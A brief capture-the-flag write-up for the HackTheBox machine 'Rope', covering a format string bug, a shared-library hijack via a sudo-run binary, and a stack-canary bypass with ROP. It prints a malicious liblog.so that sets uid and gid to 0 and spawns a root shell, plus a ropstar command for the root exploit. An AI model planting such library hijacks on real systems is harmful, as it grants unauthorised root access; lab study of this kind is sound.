Rope @ HackTheBox
Rope is a 50-point machine on HackTheBox that involves 3 binary exploits. There is a format string vulnerability in the boxes’s webserver and a replaceable shared library used by a binary we can run with sudo. Finally there is another binary where we have to bypass a stack canary and use ROP.
Notes
The user exploit.
Liblog.so:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh",NULL,NULL);
}
The root exploit.
Solving with ropstar:
python3 ~/tools/ropstar/ropstar.py -rhost localhost -rport 1337 -remote_offset ./contact
Thanks r4j for creating this fun box!
